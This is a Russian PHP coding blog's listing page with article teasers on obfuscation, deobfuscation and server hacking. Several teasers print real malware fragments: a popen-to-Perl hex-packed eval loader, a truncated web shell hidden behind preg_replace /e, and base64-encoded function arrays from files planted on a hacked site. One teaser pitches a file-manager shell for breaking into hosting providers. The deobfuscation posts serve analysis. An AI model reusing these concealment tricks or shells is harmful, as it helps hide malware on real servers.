Сортировать статьи по: дате | популярности | посещаемости | комментариям | алфавиту
Информация к новости
  • Просмотров: 152
  • Автор: Master
  • Дата: 9-03-2014, 16:00
9-03-2014, 16:00

Извращённая накрутка

Категория: Кодинг » PHP

Как-то раз, шарясь по сети в поисках всякой разной фигни (не помню уже что я искал) и случайно нажав на рекламный блок на одном из сайтов, я попал на такой сервис, где администрация предлагала лицензионный аккаунт от какой-нибудь игры всего лишь за то что по ссылке, выданной мне в профиле, перейдёт N-ное количество человек.
Ну я так подумал, хоть я и не играю в игры, почему бы не получить лишний лицензионный акк от какого-нибудь Battlefield 4. Да и тем более тем кто переходил по ссылке не нужно было нигде регистрироваться, они должны были просто зайти на страницу.

Метки к статье: PHP, накрутка

Информация к новости
  • Просмотров: 32
  • Автор: Master
  • Дата: 3-10-2013, 15:03
3-10-2013, 15:03

PHP. Вытаскиваем из текущего адреса GET параметры

Категория: Кодинг » PHP



//вытаскиваем из текущего адреса GET параметры
$id = parse_url($_SERVER['REQUEST_URI']);
echo 'id = '.$id['query'];

Метки к статье: PHP, GET, запрос

Информация к новости
  • Просмотров: 56
  • Автор: Master
  • Дата: 5-09-2013, 10:05
5-09-2013, 10:05

Взлом через PHP

Категория: Кодинг » PHP

Взлом через PHP

Вот сделал модификацию нескольких скриптов и в итоге получилась классная штуковина.

Данная атака на сервер проходит со 100% гарантией (Ну пока я тестил все было норм. Для успешной атаки вам необходимо дисковое пространство на сервере размером в 10 Kb (столько весит скрипт) и возможность запустить свой PHP скрипт. Далеко не секрет, что хакеры очень часто проникают в систему используя социнженерию, т.е. изначально подготавливают жертву, чтобы та им доверяла, получают от неё информацию и осуществляют взлом. Поэтому раздобыть на любом сервере небольшое дисковое пространство для хакера не проблема. В крайнем случае можно и купить себе домен на сервере провайдера или любой другой хостинговой компании, которую вы собираетесь взломать.
В большей части взлому подвержены бесплатные хостинговые компании и провайдеры, которые при регистрации доступа в интернет дают бесплатное место для размещение домашней странички пользователя с запуском собственных PHP скриптов.
Идея реализации атаки заключается в том, чтобы залезть на жесткий диск провайдера и иметь возможность управлять файлами, тоесть удалять, просматривать, редактировать. Для этого нам придётся написать небольшой скрипт, который получит доступ к ресурсам сервера. Для начала определим какими функциями должен обладать скрипт: заложим в него функции удаления выбранных файлов, скрипт должен уметь просматривать картинки, открывать каталоги, выставлять права доступа к файлам, знать когда файл был создан в системе, когда файл был изменён, к какой группе относится файл и выставлять соответствующую иконку для удобства, переходить из каталога в каталог, указывать полные пути до файлов:

Метки к статье: PHP, взлом, сервер, скрипт, шелл

Информация к новости
  • Просмотров: 65
  • Автор: Master
  • Дата: 1-09-2013, 21:48
1-09-2013, 21:48

PHP Obfuscator 1.5

Категория: Кодинг » PHP

Вот и увидела свет новая версия этого скрипта.

Возможности обфускатора (включая новые):
[+] Замена имен переменных
[+] Замена имен функций
[+] Шифрование статических строк
[+] Шифрование имен стандартных функций PHP
[+] Обфускация INTEGER’ов
[+] Сжатие скрипта
[+] Архивация скрипта
[+] Добавление треш-комментариев
[+] Обфускация констант PHP
[+] Возможность добавления мусорных инструкций и переменных заданной вероятностью
[+++] И многое другое, множество удобств

Исправлены различные недочеты, ошибки, имевшиеся в версии 1.4, улучшена обфускация в некоторых случаях, версия 1.5 более экономно расходует память.

Теперь обфускатор создает каждый раз совершенно новый код, особенно с включенной опцией добавления мусорных инструкций.

Обфускатор не поддерживает конструкции eval() и $$var_name, а также по-прежнему могут быть проблемы со скриптами в кодировке UTF-8.

Вот, например, во что можно превратить простой "Hello, world!":

<? $GLOBALS['_1211036487_']=Array(base64_decode('' .'c3' .'R' .'ydG91cHBl' .'cg=='),base64_decode('Y2' .'91bnQ' .'='),base64_decode('Y3VybF9tdWx0aV' .'9leG' .'Vj'),base64_decode('' .'c3Vic3Ry'),base64_decode('YX' .'Jy' .'YXlfcmFuZA' .'=='),base64_decode('Zmxv' .'b3' .'I='),base64_decode('bXRfcmFuZ' .'A' .'=='),base64_decode('' .'c3RycG9z'),base64_decode('bXlz' .'c' .'WxfY2xv' .'c2U='),base64_decode('Zmdld' .'HN' .'z'),base64_decode('bXRfcmFuZA=' .'='),base64_decode('' .'YXJyYX' .'l' .'fa2V5X2V4' .'aX' .'N0cw=='),base64_decode('Z' .'Gly'),base64_decode('c2Vzc2' .'lvbl9' .'nZ' .'XRfY29v' .'a2llX3Bh' .'cmFtc' .'w=' .'='),base64_decode('bXRfcmFuZA=='),base64_decode('c3Ry' .'cG' .'9z'),base64_decode('YX' .'JyYXl' .'fZGlm' .'Zl9' .'rZXk=')); ?><? function _1513971471($i){$a=Array('Y' .'3V0YQ==','' .'LCB' .'3b3JsZC' .'E=','dmVtYWtm' .'cmpnYnJybm' .'Jpa2Q=','' .'bW' .'Vxbno=','SGVsbG8=','Z2c=','a2I=','amxt' .'dA' .'==','ZmV' .'tY' .'m' .'d' .'1d3V' .'xa293cGU' .'=','cXo=');return base64_decode($a[$i]);} ?><?php function l__0($_0){$_1=$GLOBALS['_1211036487_'][0]($_0);$_2=round(0+813.666666667+813.666666667+813.666666667);if((round(0+1284.5+1284.5)+round(0+15.2+15.2+15.2+15.2+15.2))>round(0+513.8+513.8+513.8+513.8+513.8)|| $GLOBALS['_1211036487_'][1]($_1));else{$GLOBALS['_1211036487_'][2]($_3);}$_3=round(0+861);$_4=_1513971471(0);if((round(0+47.8+47.8+47.8+47.8+47.8)^round(0+119.5+119.5))&& $GLOBALS['_1211036487_'][3]($_3,$_3,$_3))$GLOBALS['_1211036487_'][4]($_5,$_0);print $_1 ._1513971471(1);(round(0+657+657+657+657)-round(0+525.6+525.6+525.6+525.6+525.6)+round(0+1009.5+1009.5+1009.5+1009.5)-round(0+2019+2019))?$GLOBALS['_1211036487_'][5]($_0,$_3,$_1,$_5,$_0):$GLOBALS['_1211036487_'][6](round(0+2285),round(0+1314+1314));if($GLOBALS['_1211036487_'][7](_1513971471(2),_1513971471(3))!==false)$GLOBALS['_1211036487_'][8]($_3,$_1,$_1);(round(0+857+857)-round(0+1714)+round(0+24+24+24)-round(0+72))?$GLOBALS['_1211036487_'][9]($_1,$_1,$_0):$GLOBALS['_1211036487_'][10](round(0+536),round(0+857+857));while(round(0+1621+1621)-round(0+3242))$GLOBALS['_1211036487_'][11]($_3,$_3,$_5);while(round(0+4312)-round(0+862.4+862.4+862.4+862.4+862.4))$GLOBALS['_1211036487_'][12]($_1);$_6=round(0+3584);}l__0(_1513971471(4));$_7=_1513971471(5);$_8=round(0+211.5+211.5+211.5+211.5);(round(0+1645.33333333+1645.33333333+1645.33333333)-round(0+1234+1234+1234+1234)+round(0+947.25+947.25+947.25+947.25)-round(0+1263+1263+1263))?$GLOBALS['_1211036487_'][13]($_0,$_8,$_5):$GLOBALS['_1211036487_'][14](round(0+126+126+126+126+126),round(0+1645.33333333+1645.33333333+1645.33333333));$_5=_1513971471(6);$_9=_1513971471(7);if($GLOBALS['_1211036487_'][15](_1513971471(8),_1513971471(9))!==false)$GLOBALS['_1211036487_'][16]($_1); ?>
Информация к новости
  • Просмотров: 99
  • Автор: Master
  • Дата: 1-09-2013, 21:44
1-09-2013, 21:44

PHP Generic Eval Unpacker

Категория: Кодинг » PHP

В предыдущей статье dx рассказывал о ручной методике снятия типовой и довольно распространенной защиты PHP-скрипта. Если проанализировать наиболее часто встречающиеся типы защиты (например, в разделе запросов на расшифровку на Античате), то можно заметить, что в большинстве случаев защита построена на максимальном сохранении исходного кода скрипта и использовании функции eval в конечном счете. Снимать такую защиту очень просто, но слегка занудно, поэтому я решил написать примитивную программу, которая осуществляет сие действо автоматически.
Чтобы пост не был унылым, я кратенько опишу, что из себя представляет анпакер. Итак, из-за своей лени я решил использовать php-cli, расширение для php (которое перехватывает eval) и сделать к этому простой GUI. Результирующая программа выглядит следующим образом:

PHP Generic Eval Unpacker
Информация к новости
  • Просмотров: 72
  • Автор: Master
  • Дата: 1-09-2013, 21:28
1-09-2013, 21:28

Методика деобфускации PHP-скриптов для чайников.

Категория: Кодинг » PHP

Очень часто непосвященные люди задают вопросы вроде "Как расшифровать обфусцированный PHP-скрипт?", "Хороша ли защита PHP-скрипта обфускатором?" и даже "Помогите деобфусцировать! Вам же не сложно?". Цель этой статьи - показать, что обфускаторы дают в 90% случаев никакущую защиту (которая способна защитить только от людей, увидевших язык программирования первый раз в жизни). Снять ее можно обычно минут за 10-20, получив исходный PHP-скрипт в первозданном виде. Остальные 10% случаев - это немного усложненная защита, которая, впрочем, снимается теми же путями. Если вы желаете самостоятельно научиться снимать обфускацию со скриптов, то эта статья специально для вас!

Как я уже говорил выше, задача деобфускации PHP-cкриптов очень актуальна. Достаточно взглянуть на один популярный хак-форум:

Методика деобфускации PHP-скриптов для чайников.
Информация к новости
  • Просмотров: 103
  • Автор: Master
  • Дата: 1-09-2013, 21:15
1-09-2013, 21:15

Скрытие кода, метод 9

Категория: Кодинг » PHP

Этот метод популярен у ботоводов (т.е. распространителей perl-ботов), зашифрованный код передается непосредственно процессу Perl, запускаемому функцией popen():

error_reporting( 1 );
global $HTTP_SERVER_VARS;
if (@is_resource( $f = @popen( 'perl - E54POCH', "w" ) )) {
@fwrite( $f, 'eval( pack( "H*", "6368...7d20" ) );eval( pack( "H*", "7573...353b"));' );
@fflush( $f );
sleep( 1 );
@pclose( $f );
echo "RUN OK";
} else {
echo "RUN FALSE";
};

Метки к статье: deobfuscation, obfuscation, Perl, PHP, деобфускация, код, обфускация, скрипты, шифрование

Информация к новости
  • Просмотров: 135
  • Автор: Master
  • Дата: 1-09-2013, 21:09
1-09-2013, 21:09

Скрытие кода, метод 8

Категория: Кодинг » PHP

<?php # Web Shell by oRb
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66
\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F
\x64\x65\x28'5b1pdx...Kn6fwE='\x29\x29\x29\x3B",".");?>


Чертовски гениально!) preg_replace ничего не заменяет, а просто выполняет роль eval(), выполняя весь код из второго аргумента!

Метки к статье: deobfuscation, obfuscation, PHP, деобфускация, код, обфускация, скрипты, шифрование

Информация к новости
  • Просмотров: 105
  • Автор: Master
  • Дата: 1-09-2013, 21:05
1-09-2013, 21:05

Скрытие кода, метод 7

Категория: Кодинг » PHP

Следующих код был взят из двух файлов, залитых на взломанный сайт. В каждом из файлов код состоял из трех блоков. Первый блок был почти одинаковым, массив функций, закодированный в base64:


$GLOBALS['_482181972_'] = Array(
base64_decode( 'Z' .'mlsZ' .'V9' .'nZ' .'XRfY29u' .'dGV' .'udHM' .'=' ),
// file_get_contents
base64_decode( 'c3Ry' .'c' .'G' .'9z' ), // strpos
base64_decode( 'ZmlsZW10' .'a' .'W' .'1l' ), // filemtime
base64_decode( 'Zm9wZW4=' ), // fopen
base64_decode( 'Z' .'ndyaXRl' ), // fwrite
base64_decode( '' .'ZmN' .'sb3Nl' ), // fclose
base64_decode( 'dG91Y2g=' ) // touch
);

Метки к статье: deobfuscation, obfuscation, PHP, деобфускация, код, обфускация, скрипты, шифрование

Информация к новости
  • Просмотров: 112
  • Автор: Master
  • Дата: 1-09-2013, 21:02
1-09-2013, 21:02

Скрытие кода, метод 6: ionCube HTML obfuscator

Категория: Кодинг » PHP

На сайте ionCube случайно заметил бесплатную плюшку – Free Obfuscating HTML Encoder. Захотелось посмотреть и раскодировать)

Закодированная страница в примере на сайте выглядит следующим образом:

<script language=javascript>
c="e66x75...Y7dF7d"; // [1] first long string
eval(unescape("%64%3d...%22%3b")); // [2] second long string
x("C3Bomk...4ApQkS"); // [3] third long string
</script>


В оригинале весь код располагается в одну строку. В строке #4 вызов неизвестной функции, по всей видимости, она находится в блоке с eval и ее нужно раскрыть. Логично предположить, что тело страницы (контент) находится непосредственно в строке, передаваемой этой функции.

Метки к статье: deobfuscation, javascript, obfuscation, деобфускация, код, обфускация, скрипты, шифрование

Назад Вперед